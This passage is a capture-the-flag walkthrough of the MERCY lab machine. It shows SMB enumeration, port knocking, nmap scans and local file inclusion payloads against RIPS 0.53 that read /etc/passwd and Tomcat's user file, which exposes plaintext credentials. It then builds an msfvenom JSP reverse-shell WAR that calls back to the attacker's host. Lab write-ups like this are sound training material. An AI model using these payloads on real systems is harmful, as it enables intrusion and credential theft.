└─$ smbclient //10.10.10.13/qiu -U qiu                                  1 ×
Enter WORKGROUP\qiu's password:
Try "help" to get a list of possible commands.
smb: \>
```

ls showed quite a few different things

```
smb: \> ls
  .                                   D        0  Fri Aug 31 15:07:00 2018
  ..                                  D        0  Mon Nov 19 11:59:09 2018
  .bashrc                             H     3637  Sun Aug 26 09:19:34 2018
  .public                            DH        0  Sun Aug 26 10:23:24 2018
  .bash_history                       H      163  Fri Aug 31 15:11:34 2018
  .cache                             DH        0  Fri Aug 31 14:22:05 2018
  .private                           DH        0  Sun Aug 26 12:35:34 2018
  .bash_logout                        H      220  Sun Aug 26 09:19:34 2018
  .profile                           H      675  Sun Aug 26 09:19:34 2018

                19213004 blocks of size 1024. 16288328 blocks available
smb: \>
```

I started out with private since that was on the one that caught my eye

```
smb: \> cd .private\
smb: \.private\> ls
  .                                   D        0  Sun Aug 26 12:35:34 2018
  ..                                  D        0  Fri Aug 31 15:07:00 2018
  opensesame                          D        0  Thu Aug 30 12:36:50 2018
  readme.txt                          N       94  Sun Aug 26 10:22:35 2018
  secrets                             D        0  Mon Nov 19 12:01:09 2018

                19213004 blocks of size 1024. 16288328 blocks available
smb: \.private\>
```

readme.txt showed the following

```
┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$ cat readme.txt
```
This is for your own eyes only. In case you forget the magic rules for remote administration.

opensesame showed the following

```
┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$ cat config
```
Here are settings for your perusal.

Port Knocking Daemon Configuration

[options]
UseSyslog

[openHTTP]
sequence = 159,27391,4
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn

[closeHTTP]
sequence = 4,27391,159
seq_timeout = 100
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn

[openSSH]
sequence = 17301,28504,9999
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9999,28504,17301
seq_timeout = 100
command = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

Apache2 Configuration

```
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
```

```
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#     /etc/apache2/
#     |-- apache2.conf
#     |       `--  ports.conf
#     |-- mods-enabled
#     |       |-- *.load
#     |       `-- *.conf
#     |-- conf-enabled
#     |       `-- *.conf
#     `-- sites-enabled
#             `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
```

```
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
Mutex file:${APACHE_LOCK_DIR} default

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
```

```
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
        Options FollowSymLinks
        AllowOverride None
        Require all denied
</Directory>

<Directory /usr/share>
        AllowOverride None
        Require all granted
</Directory>

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

#<Directory /srv/>
```

```
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>



# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>



#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\""
vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
```

Samba Configuration

```
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with ";", the proposed setting
#    differs from the default Samba behaviour
#  - When commented with "#", the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic
# errors.

#======================= Global Settings
=======================

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
   workgroup = WORKGROUP

# server string is the equivalent of the NT Description field
        server string = %h server (Samba, Ubuntu)

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
#   wins support = no

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
;   wins server = w.x.y.z

# This will prevent nmbd to search for NetBIOS names through DNS.
   dns proxy = no

#### Networking ####

# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
;   interfaces = 127.0.0.0/8 eth0
```

```
# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes



#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

# Cap the size of the individual log files (in KiB).
   max log size = 1000

# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
#   syslog only = no

# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
   syslog = 0

# Do something sensible when Samba crashes: mail the admin a backtrace
   panic action = /usr/share/samba/panic-action %d



######## Authentication ########

# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
   server role = standalone server

# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
   passdb backend = tdbsam

   obey pam restrictions = yes

# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
```

```
# passdb is changed.
   unix password sync = yes

# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n
*password\supdated\ssuccessfully* .

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
   pam password change = yes

# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
   map to guest = bad user

########## Domains ###########

#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set
#

# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
;   logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
#   logon path = \\%N\%U\profile

# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
;   logon drive = H:
#   logon home = \\%N\%U

# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
;   logon script = logon.cmd

# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe.  The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u
```

```
# This allows machine accounts to be created on the domain controller via the
# SAMR RPC pipe.
# The following assumes a "machines" group exists on the system
; add machine script  = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/-
samba -s /bin/false %u

# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.
; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
;   include = /home/samba/etc/smb.conf.%m

# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
;   idmap uid = 10000-20000
;   idmap gid = 10000-20000
;   template shell = /bin/bash

# Setup usershare options to enable non-root users to share folders
# with the net usershare command.

# Maximum number of usershare. 0 (default) means that usershare is disabled.
;   usershare max shares = 100

# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
   usershare allow guests = yes

#======================= Share Definitions
=======================

# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
;   comment = Home Directories
;   browseable = no

# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
;   read only = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
;   create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
```

```
;   directory mask = 0700

# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
;   valid users = %S

# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin
```

```
[qiu]
path = /home/qiu
valid users = qiu
read only = yes

For other details of MERCY, please contact your system administrator.
```

now for the last thing

```
└─$ cat configprint
#!/bin/bash

echo "Here are settings for your perusal." > config
echo "" >> config
echo "Port Knocking Daemon Configuration" >> config
echo "" >> config
cat "/etc/knockd.conf" >> config
echo "" >> config
echo "Apache2 Configuration" >> config
echo "" >> config
cat "/etc/apache2/apache2.conf" >> config
echo "" >> config
echo "Samba Configuration" >> config
echo "" >> config
cat "/etc/samba/smb.conf" >> config
echo "" >> config
echo "For other details of MERCY, please contact your system administrator." >> config

chown qiu:qiu config
```

Installing and using Knock

INSTALLING AND USING KNOCK

```
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/grongor/knock.git
Cloning into 'knock'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (12/12), done.
```

```
remote: Total 39 (delta 4), reused 7 (delta 1), pack-reused 26
Receiving objects: 100% (39/39), 8.81 KiB | 8.81 MiB/s, done.
Resolving deltas: 100% (10/10), done.

┌──(kali㉿kali)-[~]
└─$ cd knock

┌──(kali㉿kali)-[~/knock]
└─$ ls -la
total 24
drwxr-xr-x  3 kali kali 4096 Mar 10 18:01 .
drwxr-xr-x 39 kali kali 4096 Mar 10 18:01 ..
drwxr-xr-x  8 kali kali 4096 Mar 10 18:01 .git
-rwxr-xr-x  1 kali kali 2932 Mar 10 18:01 knock
-rw-r--r--  1 kali kali 1070 Mar 10 18:01 LICENSE
-rw-r--r--  1 kali kali 1229 Mar 10 18:01 readme.md

┌──(kali㉿kali)-[~/knock]
└─$ knock
zsh: command not found: knock

┌──(kali㉿kali)-[~/knock]
└─$ python3 knock                                          127 ×
usage: knock [-h] [-t TIMEOUT] [-d DELAY] [-u] [-v]
             host port[:protocol] [port[:protocol] ...]
knock: error: the following arguments are required: host, port[:protocol]

┌──(kali㉿kali)-[~/knock]
└─$ python3 knock 10.10.10.13 159 27391 4                        2 ×

┌──(kali㉿kali)-[~/knock]
└─$ python3 knock 10.10.10.13 17301 28504 9999
```

If we look at SMB the knocks we did should have opened port 80 and port 22, lets do a quick nmap scan and find out

```
┌──(kali㉿kali)-[~/knock]
└─$ nmap -p 80,22 -vv -T4 -sC -sV 10.10.10.13
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-10 18:24 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
Initiating Ping Scan at 18:24
```

Scanning 10.10.10.13 [2 ports]
Completed Ping Scan at 18:24, 0.00s elapsed (1 total hosts)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Initiating Connect Scan at 18:24
Scanning 10.10.10.13 [2 ports]
Discovered open port 80/tcp on 10.10.10.13
Discovered open port 22/tcp on 10.10.10.13
Completed Connect Scan at 18:24, 0.00s elapsed (2 total ports)
Initiating Service scan at 18:24
Scanning 2 services on 10.10.10.13
Completed Service scan at 18:24, 6.01s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.13.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.20s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
Nmap scan report for 10.10.10.13
Host is up, received syn-ack (0.00025s latency).
Scanned at 2021-03-10 18:24:03 EST for 6s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 93:64:02:58:62:0e:e7:85:50:d9:97:ea:8d:01:68:f6 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAN3J/-
5hIdPj+aL7hkaYgQlDZIj8QXC2c3PxpRg2pVsygsg0wYwDOARf1Sx6+7tjYiJIhA5dHgD2uW4S7Z9b
c5LaChW9fgecQTPbdfuu5/-
WySyrUngapjAY8taFEQqxsX+hDuGTHTWF9ZQuPfP1fCfzuPP1zDJpWp1zCgyMDECK4pjc40coWU6
VbvvQAAAIEAjPGcjiMqNwAN3KlPv/-
NbbKKD6IRTZ43f1shvar2MFXfqo8HXlUN3hwMemJxC2enaPkW2vRcnGBTp/-
s6OltDLW4wBVZRSXQSdH0bY7Uqb8wHqrWuJ+P5U3oOPV5sXDu04N3GuNepLD+6yxMSTzgZBxE
| 2048 13:77:33:9a:49:c0:51:dc:8f:fb:c8:33:17:b2:05:71 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwaURcMZjCOvqohLPFNZaw/-
4XW2iQNm4Xfmqjoyf+rW1zzpOh69uonFOO1WnrqcpH73vilReCUdgSi4lLXQ9hcyvnUXYwT2MxL2
lhPpa+sqQMEsDyUYsDuZyzNPH/SnQHTKbqw74An2pJdB2H+udOIklkZmItCgTGc85QV1/-
zzdM1CullOIq3ExgAeULE6T6vl0gPtClw2x4K03Wq71Bi7f7xEprCqz85P3b6ra3fvZ5y/L/-
LjTl70OLrQgW7gU3L5gLgzTfZ+rJWUaVSrzHb3O4W1zBWeqFgMjD218XjBw0sx3S9Z4q7AhTCbvR
| 256 a2:25:3c:cf:ac:d7:0f:ae:2e:8c:c5:14:c4:65:c1:59 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAN4O72ImfrEs8vwKgy0PUxg
pQlKRw5Qi1GxK652rpCxPnoMglrZLD3WobzxnEE7rMgcAz0yuxrGqKYHjQM=
| 256 33:12:1b:6a:98:da:ea:9d:8c:09:94:ed:44:8d:4e:5b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICzVhwNfY4fDyxhuJ5w1nvDzrpK/-
HbVzmEpWaCglngHL
80/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods:

|_ Supported Methods: OPTIONS GET HEAD POST
| **http-robots.txt**: 2 disallowed entries
|_/mercy /nomercy
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:24
Completed NSE at 18:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/-submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds

Port 80 Enumeration

HTTP PORT 80 ENUMERATION

http://10.10.10.13/robots.txt

User-agent: *
Disallow: /mercy
Disallow: /nomercy

http://10.10.10.13/mercy/
Index of /mercy
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] index 2018-08-31 00:51 187
Apache/2.4.7 (Ubuntu) Server at 10.10.10.13 Port 80

Welcome to Mercy!

We hope you do not plead for mercy too much. If you do, please help us upgrade our website to allow our visitors to obtain more than just the local time of our system.

http://10.10.10.13/nomercy/

This site has some sort of RIPS static source code and looks like it accepts PHP, maybe a rev. shell?

Looking in the top right I can see that it is version 0.53, this may mean something also

```
┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$ searchsploit rips
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
RIPS 0.53 - Multiple Local File Inclusions    | php/webapps/18660.txt
Rips Scanner 0.5 - 'code.php' Local File Incl | php/webapps/39094.txt
---------------------------------------------- ---------------------------------
---------------------------------------------- ---------------------------------
 Shellcode Title                              |  Path
---------------------------------------------- ---------------------------------
Linux/x64 - Bind (4442/TCP) Shell + Syscall P | linux_x86-64/40122.c
Linux/x64 - Reverse (10.1.1.4/TCP) Shell + Co | linux_x86-64/40079.c
Linux/x64 - Reverse (10.1.1.4:46357/TCP) Shel | linux_x86-64/40139.c
---------------------------------------------- ---------------------------------

┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$
```

Alright we have an actual .53 version lets try for LFI

LFI

LOCAL FILE INCLUSION

```
┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$ cat 18660.txt
# RIPS <= 0.53 Multiple Local File Inclusion Vulnerabilities
# Google Dork: allintitle: "RIPS - A static source code analyser for
vulnerabilities in PHP scripts"
# Althout this script is not intended to be accesible from internet, there
are some websites that host it.
# Download: http://sourceforge.net/projects/rips-scanner/
# Date: 23/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar


File: /windows/code.php
======================

102: file $lines = file($file);
   96: $file = $_GET['file'];

PoC:
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd
```

File: /windows/function.php
==========

64: file $lines = file($file);
58: $file = $_GET['file'];

PoC:
http://localhost/rips/windows/function.php?file=../../../../../../etc/passwd(will read the first line of the file)

The first proof of concept did not work
The second one seems to work

http://10.10.10.13/nomercy/windows/code.php?file=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
landscape:x:102:105::/var/lib/landscape:/bin/false
mysql:x:103:107:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:104:109::/var/run/dbus:/bin/false
bind:x:105:116::/var/cache/bind:/bin/false
postfix:x:106:117::/var/spool/postfix:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
dovecot:x:108:119:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:109:120:Dovecot login user,,,:/nonexistent:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:111:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
avahi:x:112:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:113:124:colord colour management daemon,,,:/var/lib/colord:/bin/false
libvirt-qemu:x:114:108:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:115:125:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
tomcat7:x:116:126::/usr/share/tomcat7:/bin/false
pleadformercy:x:1000:1000:pleadformercy:/home/pleadformercy:/bin/bash
qiu:x:1001:1001:qiu:/home/qiu:/bin/bash

thisisasuperduperlonguser:x:1002:1002:,,,:/home/thisisasuperduperlonguser:/bin/bash
fluffy:x:1003:1003::/home/fluffy:/bin/sh

We may be able to also look at the tomcat files

Tomcat Try 2

TOMCAT TRY 2

Looking at tomcat again we get the following

http://10.10.10.13:8080/

NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in `/etc/tomcat7/tomcat-users.xml`.

We know that the users are located in that file, lets see if we can move into there through the LFI we already have

That didnt work lets try the following

`/var/lib/tomcat7`

and put tomcat-users.xml on the end of that

that still didnt work, after looking it up I found the following

http://10.10.10.13/nomercy/windows/code.php?file=../../../../../../var/lib/tomcat7/conf/-tomcat-users.xml

That worked!!!

<? <?xml version='1.0' encoding='utf-8'
<? <!--
<? Licensed to the Apache Software Foundation (ASF) under one or more
<? contributor license agreements. See the NOTICE file distributed with
<? this work for additional information regarding copyright ownership.
<? The ASF licenses this file to You under the Apache License, Version 2.0
<? (the "License"); you may not use this file except in compliance with
<? the License. You may obtain a copy of the License at
<?
<? http://www.apache.org/licenses/LICENSE-2.0
<?
<? Unless required by applicable law or agreed to in writing, software

<? distributed under the License is distributed on an "AS IS" BASIS,
<? WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
<? See the License for the specific language governing permissions and
<? limitations under the License.
<? -->
<? <tomcat-users>
<? <!--
<? NOTE: By default, no user is included in the "manager-gui" role required
<? to operate the "/manager/html" web application. If you wish to use this app,
<? you must define such a user - the username and password are arbitrary.
<? -->
<? <!--
<? NOTE: The sample user and role entries below are wrapped in a comment
<? and thus are ignored when reading this file. Do not forget to remove
<? <!.. ..> that surrounds them.
<? -->
<? <role rolename="admin-gui"/>
<? <role rolename="manager-gui"/>
<? <user username="thisisasuperduperlonguser"
password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
<? <user username="fluffy" password="freakishfluffybunny" roles="none"/>
<? </tomcat-users>

Sweet, and we have ssh open, lets see if that works. We may also be able to use those usernames in Tomcat and create a reverse shell with a WAR file

SSH did not work, lets try a WAR file

```
┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.15 LPORT=53 -f war >
shell.war

Payload size: 1091 bytes
Final size of war file: 1091 bytes



┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$ ls -la
total 52
drwxr-xr-x 2 kali kali  4096 Mar 10 21:07 .
drwxr-xr-x 6 kali kali  4096 Mar 10 16:51 ..
-rw-r--r-- 1 kali kali   885 Mar 10 18:33 18660.txt
-rw-r--r-- 1 kali kali 17543 Mar 10 17:37 config
-rw-r--r-- 1 kali kali   539 Mar 10 17:37 configprint
-rw-r--r-- 1 kali kali    94 Mar 10 17:35 readme.txt
-rwxr-xr-x 1 kali kali  5491 Mar 10 20:52 rev.war
-rw-r--r-- 1 kali kali  1091 Mar 10 21:07 shell.war

┌──(kali㉿kali)-[~/Desktop/OSCP_Like_Boxes/MERCY]
└─$
```

As shown above we made a WAR file and that worked like a charm!

```
tomcat7@MERCY:~$ cd /home
cd /home
tomcat7@MERCY:/home$ ls -la
